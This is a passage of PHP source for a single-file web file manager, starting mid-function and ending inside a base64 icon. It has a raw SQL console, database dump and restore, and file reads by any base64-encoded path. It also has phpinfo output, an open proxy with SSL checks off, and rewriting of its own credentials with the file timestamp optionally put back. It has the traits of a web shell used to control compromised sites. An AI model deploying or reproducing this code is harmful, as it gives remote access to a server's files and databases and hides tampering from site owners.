	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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